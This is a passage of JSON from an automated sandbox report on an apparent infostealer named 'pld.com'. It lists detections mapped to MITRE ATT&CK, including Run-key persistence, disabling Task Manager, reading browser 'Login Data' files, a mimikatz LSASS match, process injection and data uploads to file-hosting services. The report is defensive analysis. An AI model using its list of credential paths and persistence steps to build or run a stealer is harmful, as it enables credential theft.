file/data","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"Found string \"* urllib3 injected with pyOpenSSL-backed SSL-support.\" (Indicator: \"openssl-\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Found Python requests User Agent string in memory dumps","description":"Found Python User Agent \"User-Agent: python-requests\" - Source: \"00000000-00001384.00000002.187961.1B6D0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071.001","relevance":2,"id":"memorydump-4","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"www.googleapis.com\" (Indicator: \".googleapis.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"b_tcl_data\\msgs\\es_mx.msg\" [Source: 00000000-00001384.00000000.184119.07470000.00000004.mdmp\n 00000000-00001384.00000001.186039.07470000.00000004.mdmp\n 00000000-00001384.00000002.187961.07470000.00000004.mdmp]\n Observed email domain:\"es_mx.iso8859-1\" [Source: 00000000-00001384.00000000.184119.09B80000.00000004.mdmp\n 00000000-00001384.00000001.186039.09B80000.00000004.mdmp\n 00000000-00001384.00000002.187961.09B80000.00000004.mdmp]\n Observed email domain:\"nhn_mx.utf-8\" [Source: 00000000-00001384.00000000.184119.09B80000.00000004.mdmp\n 00000000-00001384.00000001.186039.09B80000.00000004.mdmp\n 00000000-00001384.00000002.187961.09B80000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"details too long to display","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"uq)r\"\n \"{-jY]\"\n \"wxuM7{}u5o~\"\n \"y&jxz`\"\n \"wxuM7{}u5o~\"\n \"_k={mM\"\n \"+arw\"\n \"n{M4;\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$40","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"static.cloudflareinsights.com\" has high entropy\n Contacted domain: \"ep1.adtrafficquality.google\" has high entropy\n Contacted domain: \"ep2.adtrafficquality.google\" has high entropy\n Contacted domain: \"clients2.googleusercontent.com\" has high entropy\n Contacted domain: \"googleads.g.doubleclick.net\" has high entropy\n Contacted domain: \"pagead2.googlesyndication.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"ipwhois.app\" (1 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$41","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"clients2.googleusercontent.com\" (83 days old)\n Short term registered certificate: \"discord.com\" (90 days old)\n Short term registered certificate: \"ep1.adtrafficquality.google\" (83 days old)\n Short term registered certificate: \"ep2.adtrafficquality.google\" (83 days old)\n Short term registered certificate: \"googleads.g.doubleclick.net\" (83 days old)\n Short term registered certificate: \"ipwhois.app\" (90 days old)\n Short term registered certificate: \"pagead2.googlesyndication.com\" (83 days old)\n Short term registered certificate: \"pdfhost.io\" (90 days old)\n Short term registered certificate: \"static.cloudflareinsights.com\" (90 days old)\n Short term registered certificate: \"upload.gofile.io\" (89 days old)\n Short term registered certificate: \"www.google.com\" (83 days old)\n Short term registered certificate: \"www.googleapis.com\" (83 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent python-requests/2.32.5","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.21.82.151\" on port \"443\"\n HTTPS traffic to \"104.16.79.73\" on port \"443\"\n HTTPS traffic to \"142.251.218.98\" on port \"443\"\n HTTPS traffic to \"142.251.218.162\" on port \"443\"\n HTTPS traffic to \"142.251.218.226\" on port \"443\"\n HTTPS traffic to \"142.251.219.1\" on port \"443\"\n HTTPS traffic to \"142.251.156.119\" on port \"443\"\n HTTPS traffic to \"150.171.110.194\" on port \"443\"\n HTTPS traffic to \"142.251.218.106\" on port \"443\"\n HTTPS traffic to \"150.171.109.77\" on port \"443\"\n HTTPS traffic to \"104.26.7.74\" on port \"443\"\n HTTPS traffic to \"216.227.187.18\" on port \"443\"\n HTTPS traffic to \"162.159.128.233\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00001384\"\n YARA signature for AES encryption matched on file \"_raw_aes.pyd\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Zlib compression","description":"YARA signature for zlib compression library used in process \"00000000-00007420\"\n YARA signature for zlib compression library used in process \"00000000-00001384\"","origin":"YARA Signature","mitre_attack_id":"T1560","relevance":2,"id":"yara-137","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Zlib compression file detected","description":"YARA signature for file using Zlib compression matched on process \"00000000-00001384\"\n YARA signature for file using Zlib compression matched on file \"_imaging.cp312-win_amd64.pyd\"\n YARA signature for file using Zlib compression matched on process \"00000000-00007420\"","origin":"YARA Signature","mitre_attack_id":"T1132.001","relevance":3,"id":"yara-161","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"pld.com\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at F6060000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"identity_helper.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"pld.com\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"pld.com\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$43","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"$45","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve list of files and subdirectories","description":"Found string \"dir - A directory to create this temp dir in. (see mkdtemp)\" (Indicator: \"dir \"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-328","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileName\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname() -- return the current hostname\" (Indicator: \"gethostname\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found reference to API \"hostname from gethostname() is returned.\" (Indicator: \"gethostname\"; Source: \"00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname() -- return local address\" (Indicator: \"getsockname\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.DCD80000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DCD80000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains reference to Outlook data files path","description":"Found string \"%USERPROFILE%\\Documents\\Outlook Files\\*.*\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00001384-00000C2D-126084735628\")","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":3,"id":"string-570","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$46","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$47","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"pld.com\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT Version,ProductType,BuildType,ServicePackMajorVersion,ServicePackMinorVersion FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; Source: \"00000000-00001384-00002714-1847867345\")\n Found string \"SELECT Architecture FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001384-00002714-1847942591\")\n Found string \"SELECT Architecture FROM Win32_Processor\" (Indicator: \" Win32_Processor\"; Source: \"00000000-00001384-00002714-1847942591\")\n Found string \"SELECT Manufacturer,Caption FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001384-00002714-1899304505\")\n Found string \"SELECT Manufacturer,Caption FROM Win32_Processor\" (Indicator: \" Win32_Processor\"; Source: \"00000000-00001384-00002714-1899304505\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"pld.com\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$48","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del\" (Indicator: \"del\") in Source: 00000000-00001384.00000000.184119.09B80000.00000004.mdmp\n 00000000-00001384.00000001.186039.09B80000.00000004.mdmp\n 00000000-00001384.00000002.187961.09B80000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"pld.com\" opened \"\\Device\\KsecDD\"\n \"identity_helper.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$4a","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"screenshot_capture.png\" has type \"PNG image data 1280 x 1024 8-bit/color RGB non-interlaced\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 104.21.82.151\"\n \"UDP connection to 142.251.218.98\"\n \"UDP connection to 142.251.218.162\"\n \"UDP connection to 142.251.156.119\"\n \"UDP connection to 142.251.219.1\"\n \"UDP connection to 142.251.218.226\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$4b","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"pld.com\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ZOIPERS\"; Value: \"%PUBLIC%\\pld.com\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$4c","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.26.7.74 on port 443 is sent without HTTP header\n TCP traffic to 216.227.187.18 on port 443 is sent without HTTP header\n TCP traffic to 162.159.128.233 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"\\\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00001384-00002713-1844673989\")\n Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00001384-00002713-1847840536\")\n Found string \"wmiobj = win32com.client.GetObject(\"winmgmts:Win32_LogicalDisk.DeviceID='C:'\")\" (Indicator: \"winmgmts:\"; in Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"System Security","name":"Attempts to modify system features via registry","description":"\"pld.com\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"DISABLETASKMGR\";)","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":3,"id":"registry-227","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"$4d","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%PUBLIC%\\pld.com\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Writes multiple files with double extensions (often indicator of ransomware infection)","description":"\"pld.com\" write more than 100 files with extension \".cp312-win_amd64.pyd\"","origin":"API Call","mitre_attack_id":"T1486","relevance":5,"id":"api-201","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"pld.com\" called \"CreateProcessW\" with parameter \"\"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --single-argument https://pdfhost.io/v/FVdt3Ea4qP_statement\" - (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"pld.com\" called \"ShellExecuteW\" with parameter https://pdfhost.io/v/FVdt3Ea4qP_statement (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"pld.com\" wrote 000011C0 bytes to a remote process \"C:\\Users\\Public\\pld.com\" (Handle: 656)\n \"pld.com\" wrote 00000008 bytes to a remote process \"C:\\Users\\Public\\pld.com\" (Handle: 656)\n \"pld.com\" wrote 000011C0 bytes to a remote process \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" (Handle: 2044)\n \"pld.com\" wrote 00000008 bytes to a remote process \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" (Handle: 2044)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Network Related","name":"Detected multiple DNS responses with a low TTL","description":"\"clients2.googleusercontent.com\" with TTL 300\n \"discord.com\" with TTL 300\n \"edge-consumer-static.azureedge.net\" with TTL 578\n \"edgeassetservice.azureedge.net\" with TTL 27\n \"ep1.adtrafficquality.google\" with TTL 300\n \"ep2.adtrafficquality.google\" with TTL 300\n \"googleads.g.doubleclick.net\" with TTL 300\n \"ipwhois.app\" with TTL 300\n \"pagead2.googlesyndication.com\" with TTL 300\n \"pdfhost.io\" with TTL 300\n \"static.cloudflareinsights.com\" with TTL 115\n \"www.google.com\" with TTL 35\n \"www.googleapis.com\" with TTL 300","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":3,"id":"network-35","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Network Related","name":"Upload file using POST request","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-58","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"mimikatz_lsass_mdmp\" matched process \"00000000-00001384\" as \"LSASS minidump file for mimikatz\"","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Disables Windows Task Manager (taskmgr)","description":"\"pld.com\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"DISABLETASKMGR\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":9,"id":"registry-3","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"pld.com\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"pld.com\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping 